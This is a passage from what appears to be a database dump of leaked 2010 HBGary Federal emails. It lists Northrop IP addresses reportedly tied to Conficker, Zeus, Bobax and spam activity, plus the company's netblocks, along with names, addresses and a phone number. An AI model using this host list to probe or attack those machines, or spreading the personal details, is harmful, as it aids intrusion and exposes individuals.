10%\r\nEvents :\r\n	Spam : Mon Mar 23 06:59:00 2009 GMT\r\n\r\nIP : 134.223.188.179\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 134.223.204.114\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  8 07:59:00 2009 GMT\r\n\r\nIP : 134.223.210.166\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Feb 24 03:59:00 2009 GMT\r\n\r\nIP : 134.223.214.47\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  1 01:59:00 2009 GMT\r\n\r\nIP : 155.104.37.18\r\nConfidence : 10%\r\nEvents :\r\n	Bobax : Wed Jul 22 18:59:00 2009 GMT\r\n\r\nIP : 155.104.108.227\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 25 13:59:00 2009 GMT\r\n\r\nIP : 155.104.117.79\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar 14 22:59:00 2009 GMT\r\n\r\nIP : 155.104.143.204\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 00:59:00 2009 GMT\r\n\r\nIP : 155.104.149.236\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 20 08:59:00 2009 GMT\r\n\r\nIP : 155.104.169.216\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 155.104.186.69\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar  6 00:59:00 2009 GMT\r\n\r\nIP : 155.104.195.120\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 10 02:59:00 2009 GMT\r\n\r\nIP : 155.104.253.160\r\nConfidence : 10%\r\nEvents :\r\n	Conficker C : Mon Nov 23 18:31:05 2009 GMT\r\n	Conficker A/B : Wed Apr  1 13:45:22 2009 GMT\r\n\r\nIP : 134.77.62.31\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 134.77.154.194\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  8 17:59:00 2009 GMT\r\n\r\nIP : 134.77.199.29\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 23:59:00 2009 GMT\r\n\r\nIP : 134.77.203.242\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 134.77.214.197\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Feb 10 07:59:00 2009 GMT\r\n\r\nIP : 134.77.254.98\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Jan 14 06:59:00 2009 GMT\r\n\r\nIP : 132.228.4.253\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 11 09:59:00 2009 GMT\r\n\r\nIP : 132.228.28.219\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Jan 11 18:59:00 2009 GMT\r\n\r\nIP : 132.228.40.120\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 11 07:59:00 2009 GMT\r\n\r\nIP : 132.228.47.162\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 17 21:59:00 2009 GMT\r\n\r\nIP : 132.228.61.127\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 22 12:59:00 2009 GMT\r\n\r\nIP : 132.228.85.231\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Jan 26 08:59:00 2009 GMT\r\n\r\nIP : 132.228.97.130\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 18 21:59:00 2009 GMT\r\n\r\nIP : 132.228.99.229\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Mar  5 11:59:00 2009 GMT\r\n\r\nIP : 132.228.100.98\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar  4 23:59:00 2009 GMT\r\n\r\nIP : 132.228.111.117\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 10 18:59:00 2009 GMT\r\n\r\nIP : 132.228.115.77\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Jan 19 05:59:00 2009 GMT\r\n\r\nIP : 132.228.156.248\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  9 11:59:00 2009 GMT\r\n\r\nIP : 132.228.157.141\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar 21 18:59:00 2009 GMT\r\n\r\nIP : 132.228.167.144\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 11 02:59:00 2009 GMT\r\n\r\nIP : 132.228.178.113\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb 16 07:59:00 2009 GMT\r\n\r\nIP : 132.228.181.94\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 24 00:59:00 2009 GMT\r\n\r\nIP : 132.228.198.188\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Mar 12 22:59:00 2009 GMT\r\n\r\nIP : 132.228.221.184\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Jan  7 00:59:00 2009 GMT\r\n\r\nIP : 132.228.235.100\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 158.114.46.236\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 13 18:59:00 2009 GMT\r\n\r\nIP : 158.114.60.87\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Jan 31 13:59:00 2009 GMT\r\n\r\nIP : 158.114.65.49\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Jan 16 20:59:00 2009 GMT\r\n\r\n198.17.147.0;198.17.147.255\r\n198.202.184.0;198.202.184.255\r\n192.135.212.0;192.135.212.255\r\n199.165.146.0;199.165.148.255\r\n198.180.218.0;198.180.218.255\r\n198.49.249.0;198.49.249.255\r\n192.135.211.0;192.135.211.255\r\n216.54.39.240;216.54.39.247\r\n216.54.92.104;216.54.92.111\r\n65.117.102.96;65.117.102.127\r\n65.112.186.160;65.112.186.175\r\n12.186.184.192;12.186.184.255\r\n12.182.30.224;12.182.30.255\r\n12.144.89.240;12.144.89.247\r\n12.48.17.0;12.48.17.63\r\n12.44.8.160;12.44.8.191\r\n12.54.59.240;12.54.59.247\r\n12.222.32.72;12.222.32.79\r\n192.150.240.0;192.150.240.255\r\n157.127.0.0;157.127.255.255\r\n192.153.43.0;192.153.43.255\r\n134.223.0.0;134.223.255.255\r\n155.104.0.0;155.104.255.255\r\n134.77.0.0;134.77.255.255\r\n132.228.0.0;132.228.255.255\r\n192.35.84.0;192.35.84.255\r\n158.114.0.0;158.114.255.255\r\n192.112.145.0;192.112.145.255\r\n137.51.0.0;137.51.255.255\r\n192.150.201.0;192.150.201.255\r\n63.174.11.128;63.174.11.255\r\n12.165.111.160;12.165.111.191\r\n12.154.90.0;12.154.90.255\r\n12.41.67.0;12.41.67.255\r\n12.187.24.192;12.187.24.223\r\n12.172.51.64;12.172.51.127\r\n12.44.11.184;12.44.11.191\r\n12.53.63.128;12.53.63.255\r\n12.144.223.112;12.144.223.127\r\n12.71.30.128;12.71.30.135\r\n12.204.106.112;12.204.106.119\r\n12.182.16.184;12.182.16.191\r\n12.69.72.24;12.69.72.31\r\n192.12.44.0;192.12.44.255\r\n128.99.0.0;128.99.255.255\r\n65.163.5.128;65.163.5.191\r\n206.229.114.64;206.229.114.127\r\n208.21.174.160;208.21.174.191\r\n65.162.155.24;65.162.155.31\r\n208.7.1.248;208.7.1.255\r\n65.163.34.48;65.163.34.55\r\n205.162.11.64;205.162.11.127\r\n205.244.158.104;205.244.158.111\r\n205.246.137.192;205.246.137.199\r\n206.228.172.96;206.228.172.103\r\n206.229.97.192;206.229.97.223\r\n208.19.16.160;208.19.16.191\r\n208.19.79.96;208.19.79.127\r\n208.20.149.232;208.20.149.239\r\n206.229.9.112;206.229.9.119\r\n208.2.203.64;208.2.203.71\r\n208.12.120.0;208.12.120.255\r\n208.12.121.0;208.12.121.255\r\n208.12.122.0;208.12.122.255\r\n204.97.84.72;204.97.84.79\r\n206.228.170.112;206.228.170.119\r\n63.175.65.0;63.175.65.31\r\n65.160.161.32;65.160.161.39\r\n65.161.169.208;65.161.169.215\r\n65.165.199.192;65.165.199.255\r\n65.168.235.0;65.168.235.255\r\n65.169.82.24;65.169.82.31\r\n204.118.7.96;204.118.7.127\r\n198.70.200.8;198.70.200.15\r\n204.118.7.128;204.118.7.255\r\n208.2.72.0;208.2.73.255\r\n208.4.26.32;208.4.26.63\r\n208.7.9.48;208.7.9.55\r\n208.8.12.112;208.8.12.119\r\n208.20.220.0;208.20.220.255\r\n208.23.198.16;208.23.198.23\r\n64.132.233.128;64.132.233.143\r\n216.74.147.168;216.74.147.175\r\n165.193.120.8;165.193.120.15\r\n12.52.81.240;12.52.81.247\r\n64.172.8.48;64.172.8.55\r\n68.89.81.208;68.89.81.215\r\n66.140.248.160;66.140.248.191\r\n66.138.220.168;66.138.220.175\r\n64.169.174.224;64.169.174.231\r\n67.113.106.56;67.113.106.63\r\n209.76.9.72;209.76.9.79\r\n208.239.171.168;208.239.171.175\r\n67.125.218.152;67.125.218.159\r\n65.66.7.56;65.66.7.63\r\n64.165.39.0;64.165.39.7\r\n67.121.9.152;67.121.9.159\r\n66.137.162.160;66.137.162.191\r\n68.163.82.80;68.163.82.95\r\n65.51.235.128;65.51.235.135\r\n208.251.123.192;208.251.123.199\r\n71.134.82.0;71.134.82.127\r\n65.197.250.240;65.197.250.247\r\n65.215.44.24;65.215.44.31\r\n70.106.7.96;70.106.7.127\r\n64.83.35.160;64.83.35.167\r\n69.27.88.192;69.27.88.199\r\n24.38.23.120;24.38.23.127\r\n216.180.63.0;216.180.63.15\r\n66.20.216.40;66.20.216.47\r\n64.165.24.216;64.165.24.223\r\n65.71.186.200;65.71.186.207\r\n64.170.94.64;64.170.94.71\r\n63.203.2.232;63.203.2.239\r\n63.204.213.200;63.204.213.207\r\n68.121.176.232;68.121.176.239\r\n66.126.161.216;66.126.161.223\r\n64.163.147.136;64.163.147.143\r\n68.121.178.128;68.121.178.135\r\n64.168.19.16;64.168.19.23\r\n68.123.245.104;68.123.245.111\r\n67.112.183.48;67.112.183.55\r\n65.242.59.120;65.242.59.127\r\n69.110.86.248;69.110.86.255\r\n63.206.114.184;63.206.114.191\r\n63.202.191.32;63.202.191.39\r\n63.203.33.88;63.203.33.95\r\n69.232.11.144;69.232.11.159\r\n71.134.16.96;71.134.16.103\r\n71.138.233.96;71.138.233.127\r\n71.140.96.200;71.140.96.207\r\n75.5.171.248;75.5.171.255\r\n75.9.138.144;75.9.138.151\r\n99.178.89.88;99.178.89.95\r\n99.178.89.96;99.178.89.103\r\n99.183.154.168;99.183.154.175\r\n99.187.102.112;99.187.102.119\r\n69.108.130.72;69.108.130.79\r\n63.194.2.168;63.194.2.175\r\n155.212.219.192;155.212.219.255\r\n65.246.82.160;65.246.82.175\r\n204.15.19.216;204.15.19.223\r\n208.255.145.224;208.255.145.231\r\n65.210.81.168;65.210.81.175\r\n67.192.98.136;67.192.98.143\r\n98.129.175.24;98.129.175.31\r\n65.242.89.128;65.242.89.135\r\n67.123.171.144;67.123.171.151\r\n71.131.118.224;71.131.118.231\r\n65.71.179.248;65.71.179.255\r\n70.137.78.24;70.137.78.31\r\n76.229.68.240;76.229.68.247\r\n69.37.71.88;69.37.71.95\r\n70.248.205.0;70.248.205.7\r\n71.128.76.56;71.128.76.63\r\n71.128.180.176;71.128.180.183\r\n71.133.15.88;71.133.15.95\r\n71.140.131.80;71.140.131.87\r\n70.132.154.112;70.132.154.119\r\n71.158.76.48;71.158.76.63\r\n76.195.149.232;76.195.149.239\r\n76.202.202.208;76.202.202.223\r\n99.181.230.184;99.181.230.191\r\n99.181.230.192;99.181.230.199\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9283,'aaron_hbgary_com/9283.html'),(7021,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005100.M151587P14101Q1876.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Have you seen this?','https://www.fbo.gov/index?s=opportunity&mode=form&id=a7696af665aa4a29f85a86770991b63d&tab=core&_cview=0\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1602,'aaron_hbgary_com/1602.html'),(7022,'2010-06-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005100.M359749P14101Q1877.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: IP Query Results','We had an impromtu meeting with the TASC security architect and\r\nprovided a brief demo including querying Northrop hosts found in the\r\nEndGames database, results below:\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Fri, Jun 4, 2010 at 8:48 AM\r\nSubject: IP Query Results\r\nTo: Barr Aaron , \"Winterfeld, Steven P (TASC Inc)\"\r\n, David Lirette \r\n\r\n\r\nSteve / Dave\r\n\r\nBelow are the results from our brief demo yesterday.  Listed first are\r\nthe Northrop IP addresses that have been linked to botnet activities,\r\nfollowed by a complete listing of the Northrop netblocks (per ARIN\r\nrecords) we queried against the EndGame database:\r\n\r\nIP : 12.48.17.62\r\nConfidence : 10%\r\nEvents :\r\n       Conficker A/B : Fri Aug 14 12:44:47 2009 GMT\r\n       Spam : Wed Mar 25 07:59:00 2009 GMT\r\n\r\nIP : 157.127.26.187\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 26 16:59:00 2009 GMT\r\n\r\nIP : 157.127.30.93\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 157.127.62.193\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 27 01:59:00 2009 GMT\r\n\r\nIP : 157.127.63.67\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  2 04:59:00 2009 GMT\r\n\r\nIP : 157.127.69.88\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 27 04:59:00 2009 GMT\r\n\r\nIP : 157.127.84.210\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Jan  2 11:59:00 2009 GMT\r\n\r\nIP : 157.127.84.236\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 18 20:59:00 2009 GMT\r\n\r\nIP : 157.127.101.187\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Mar  5 22:59:00 2009 GMT\r\n\r\nIP : 157.127.101.198\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar 13 09:59:00 2009 GMT\r\n\r\nIP : 157.127.114.172\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 25 16:59:00 2009 GMT\r\n\r\nIP : 157.127.134.108\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 10:59:00 2009 GMT\r\n\r\nIP : 157.127.150.183\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 11:59:00 2009 GMT\r\n\r\nIP : 157.127.155.214\r\nConfidence : 35.152796%\r\nEvents :\r\n       Zeus : Tue Mar  2 00:38:26 2010 GMT\r\n\r\nIP : 157.127.172.248\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  9 14:59:00 2009 GMT\r\n\r\nIP : 157.127.195.108\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 157.127.195.127\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 05:59:00 2009 GMT\r\n\r\nIP : 157.127.203.218\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 11:59:00 2009 GMT\r\n\r\nIP : 157.127.229.95\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 134.223.35.149\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 11 13:59:00 2009 GMT\r\n\r\nIP : 134.223.46.22\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 134.223.46.123\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar 13 22:59:00 2009 GMT\r\n\r\nIP : 134.223.74.16\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar 20 14:59:00 2009 GMT\r\n\r\nIP : 134.223.82.192\r\nConfidence : 24.031133%\r\nEvents :\r\n       Spam : Mon Jan 18 16:59:00 2010 GMT\r\n\r\nIP : 134.223.99.187\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 16 17:59:00 2009 GMT\r\n\r\nIP : 134.223.114.177\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 25 18:59:00 2009 GMT\r\n\r\nIP : 134.223.150.38\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar 14 06:59:00 2009 GMT\r\n\r\nIP : 134.223.157.87\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Mar 12 00:59:00 2009 GMT\r\n\r\nIP : 134.223.168.212\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 23 06:59:00 2009 GMT\r\n\r\nIP : 134.223.188.179\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 134.223.204.114\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 07:59:00 2009 GMT\r\n\r\nIP : 134.223.210.166\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Feb 24 03:59:00 2009 GMT\r\n\r\nIP : 134.223.214.47\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  1 01:59:00 2009 GMT\r\n\r\nIP : 155.104.37.18\r\nConfidence : 10%\r\nEvents :\r\n       Bobax : Wed Jul 22 18:59:00 2009 GMT\r\n\r\nIP : 155.104.108.227\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 25 13:59:00 2009 GMT\r\n\r\nIP : 155.104.117.79\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar 14 22:59:00 2009 GMT\r\n\r\nIP : 155.104.143.204\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 00:59:00 2009 GMT\r\n\r\nIP : 155.104.149.236\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar 20 08:59:00 2009 GMT\r\n\r\nIP : 155.104.169.216\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 155.104.186.69\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar  6 00:59:00 2009 GMT\r\n\r\nIP : 155.104.195.120\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 10 02:59:00 2009 GMT\r\n\r\nIP : 155.104.253.160\r\nConfidence : 10%\r\nEvents :\r\n       Conficker C : Mon Nov 23 18:31:05 2009 GMT\r\n       Conficker A/B : Wed Apr  1 13:45:22 2009 GMT\r\n\r\nIP : 134.77.62.31\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 134.77.154.194\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 17:59:00 2009 GMT\r\n\r\nIP : 134.77.199.29\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 15 23:59:00 2009 GMT\r\n\r\nIP : 134.77.203.242\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 134.77.214.197\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Feb 10 07:59:00 2009 GMT\r\n\r\nIP : 134.77.254.98\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Jan 14 06:59:00 2009 GMT\r\n\r\nIP : 132.228.4.253\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 11 09:59:00 2009 GMT\r\n\r\nIP : 132.228.28.219\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Jan 11 18:59:00 2009 GMT\r\n\r\nIP : 132.228.40.120\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 11 07:59:00 2009 GMT\r\n\r\nIP : 132.228.47.162\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 17 21:59:00 2009 GMT\r\n\r\nIP : 132.228.61.127\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 22 12:59:00 2009 GMT\r\n\r\nIP : 132.228.85.231\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Jan 26 08:59:00 2009 GMT\r\n\r\nIP : 132.228.97.130\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 18 21:59:00 2009 GMT\r\n\r\nIP : 132.228.99.229\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Mar  5 11:59:00 2009 GMT\r\n\r\nIP : 132.228.100.98\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar  4 23:59:00 2009 GMT\r\n\r\nIP : 132.228.111.117\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 10 18:59:00 2009 GMT\r\n\r\nIP : 132.228.115.77\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Jan 19 05:59:00 2009 GMT\r\n\r\nIP : 132.228.156.248\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  9 11:59:00 2009 GMT\r\n\r\nIP : 132.228.157.141\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar 21 18:59:00 2009 GMT\r\n\r\nIP : 132.228.167.144\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 11 02:59:00 2009 GMT\r\n\r\nIP : 132.228.178.113\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb 16 07:59:00 2009 GMT\r\n\r\nIP : 132.228.181.94\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 24 00:59:00 2009 GMT\r\n\r\nIP : 132.228.198.188\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Mar 12 22:59:00 2009 GMT\r\n\r\nIP : 132.228.221.184\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Jan  7 00:59:00 2009 GMT\r\n\r\nIP : 132.228.235.100\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 158.114.46.236\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 13 18:59:00 2009 GMT\r\n\r\nIP : 158.114.60.87\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Jan 31 13:59:00 2009 GMT\r\n\r\nIP : 158.114.65.49\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Jan 16 20:59:00 2009 GMT\r\n\r\n198.17.147.0;198.17.147.255\r\n198.202.184.0;198.202.184.255\r\n192.135.212.0;192.135.212.255\r\n199.165.146.0;199.165.148.255\r\n198.180.218.0;198.180.218.255\r\n198.49.249.0;198.49.249.255\r\n192.135.211.0;192.135.211.255\r\n216.54.39.240;216.54.39.247\r\n216.54.92.104;216.54.92.111\r\n65.117.102.96;65.117.102.127\r\n65.112.186.160;65.112.186.175\r\n12.186.184.192;12.186.184.255\r\n12.182.30.224;12.182.30.255\r\n12.144.89.240;12.144.89.247\r\n12.48.17.0;12.48.17.63\r\n12.44.8.160;12.44.8.191\r\n12.54.59.240;12.54.59.247\r\n12.222.32.72;12.222.32.79\r\n192.150.240.0;192.150.240.255\r\n157.127.0.0;157.127.255.255\r\n192.153.43.0;192.153.43.255\r\n134.223.0.0;134.223.255.255\r\n155.104.0.0;155.104.255.255\r\n134.77.0.0;134.77.255.255\r\n132.228.0.0;132.228.255.255\r\n192.35.84.0;192.35.84.255\r\n158.114.0.0;158.114.255.255\r\n192.112.145.0;192.112.145.255\r\n137.51.0.0;137.51.255.255\r\n192.150.201.0;192.150.201.255\r\n63.174.11.128;63.174.11.255\r\n12.165.111.160;12.165.111.191\r\n12.154.90.0;12.154.90.255\r\n12.41.67.0;12.41.67.255\r\n12.187.24.192;12.187.24.223\r\n12.172.51.64;12.172.51.127\r\n12.44.11.184;12.44.11.191\r\n12.53.63.128;12.53.63.255\r\n12.144.223.112;12.144.223.127\r\n12.71.30.128;12.71.30.135\r\n12.204.106.112;12.204.106.119\r\n12.182.16.184;12.182.16.191\r\n12.69.72.24;12.69.72.31\r\n192.12.44.0;192.12.44.255\r\n128.99.0.0;128.99.255.255\r\n65.163.5.128;65.163.5.191\r\n206.229.114.64;206.229.114.127\r\n208.21.174.160;208.21.174.191\r\n65.162.155.24;65.162.155.31\r\n208.7.1.248;208.7.1.255\r\n65.163.34.48;65.163.34.55\r\n205.162.11.64;205.162.11.127\r\n205.244.158.104;205.244.158.111\r\n205.246.137.192;205.246.137.199\r\n206.228.172.96;206.228.172.103\r\n206.229.97.192;206.229.97.223\r\n208.19.16.160;208.19.16.191\r\n208.19.79.96;208.19.79.127\r\n208.20.149.232;208.20.149.239\r\n206.229.9.112;206.229.9.119\r\n208.2.203.64;208.2.203.71\r\n208.12.120.0;208.12.120.255\r\n208.12.121.0;208.12.121.255\r\n208.12.122.0;208.12.122.255\r\n204.97.84.72;204.97.84.79\r\n206.228.170.112;206.228.170.119\r\n63.175.65.0;63.175.65.31\r\n65.160.161.32;65.160.161.39\r\n65.161.169.208;65.161.169.215\r\n65.165.199.192;65.165.199.255\r\n65.168.235.0;65.168.235.255\r\n65.169.82.24;65.169.82.31\r\n204.118.7.96;204.118.7.127\r\n198.70.200.8;198.70.200.15\r\n204.118.7.128;204.118.7.255\r\n208.2.72.0;208.2.73.255\r\n208.4.26.32;208.4.26.63\r\n208.7.9.48;208.7.9.55\r\n208.8.12.112;208.8.12.119\r\n208.20.220.0;208.20.220.255\r\n208.23.198.16;208.23.198.23\r\n64.132.233.128;64.132.233.143\r\n216.74.147.168;216.74.147.175\r\n165.193.120.8;165.193.120.15\r\n12.52.81.240;12.52.81.247\r\n64.172.8.48;64.172.8.55\r\n68.89.81.208;68.89.81.215\r\n66.140.248.160;66.140.248.191\r\n66.138.220.168;66.138.220.175\r\n64.169.174.224;64.169.174.231\r\n67.113.106.56;67.113.106.63\r\n209.76.9.72;209.76.9.79\r\n208.239.171.168;208.239.171.175\r\n67.125.218.152;67.125.218.159\r\n65.66.7.56;65.66.7.63\r\n64.165.39.0;64.165.39.7\r\n67.121.9.152;67.121.9.159\r\n66.137.162.160;66.137.162.191\r\n68.163.82.80;68.163.82.95\r\n65.51.235.128;65.51.235.135\r\n208.251.123.192;208.251.123.199\r\n71.134.82.0;71.134.82.127\r\n65.197.250.240;65.197.250.247\r\n65.215.44.24;65.215.44.31\r\n70.106.7.96;70.106.7.127\r\n64.83.35.160;64.83.35.167\r\n69.27.88.192;69.27.88.199\r\n24.38.23.120;24.38.23.127\r\n216.180.63.0;216.180.63.15\r\n66.20.216.40;66.20.216.47\r\n64.165.24.216;64.165.24.223\r\n65.71.186.200;65.71.186.207\r\n64.170.94.64;64.170.94.71\r\n63.203.2.232;63.203.2.239\r\n63.204.213.200;63.204.213.207\r\n68.121.176.232;68.121.176.239\r\n66.126.161.216;66.126.161.223\r\n64.163.147.136;64.163.147.143\r\n68.121.178.128;68.121.178.135\r\n64.168.19.16;64.168.19.23\r\n68.123.245.104;68.123.245.111\r\n67.112.183.48;67.112.183.55\r\n65.242.59.120;65.242.59.127\r\n69.110.86.248;69.110.86.255\r\n63.206.114.184;63.206.114.191\r\n63.202.191.32;63.202.191.39\r\n63.203.33.88;63.203.33.95\r\n69.232.11.144;69.232.11.159\r\n71.134.16.96;71.134.16.103\r\n71.138.233.96;71.138.233.127\r\n71.140.96.200;71.140.96.207\r\n75.5.171.248;75.5.171.255\r\n75.9.138.144;75.9.138.151\r\n99.178.89.88;99.178.89.95\r\n99.178.89.96;99.178.89.103\r\n99.183.154.168;99.183.154.175\r\n99.187.102.112;99.187.102.119\r\n69.108.130.72;69.108.130.79\r\n63.194.2.168;63.194.2.175\r\n155.212.219.192;155.212.219.255\r\n65.246.82.160;65.246.82.175\r\n204.15.19.216;204.15.19.223\r\n208.255.145.224;208.255.145.231\r\n65.210.81.168;65.210.81.175\r\n67.192.98.136;67.192.98.143\r\n98.129.175.24;98.129.175.31\r\n65.242.89.128;65.242.89.135\r\n67.123.171.144;67.123.171.151\r\n71.131.118.224;71.131.118.231\r\n65.71.179.248;65.71.179.255\r\n70.137.78.24;70.137.78.31\r\n76.229.68.240;76.229.68.247\r\n69.37.71.88;69.37.71.95\r\n70.248.205.0;70.248.205.7\r\n71.128.76.56;71.128.76.63\r\n71.128.180.176;71.128.180.183\r\n71.133.15.88;71.133.15.95\r\n71.140.131.80;71.140.131.87\r\n70.132.154.112;70.132.154.119\r\n71.158.76.48;71.158.76.63\r\n76.195.149.232;76.195.149.239\r\n76.202.202.208;76.202.202.223\r\n99.181.230.184;99.181.230.191\r\n99.181.230.192;99.181.230.199\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary 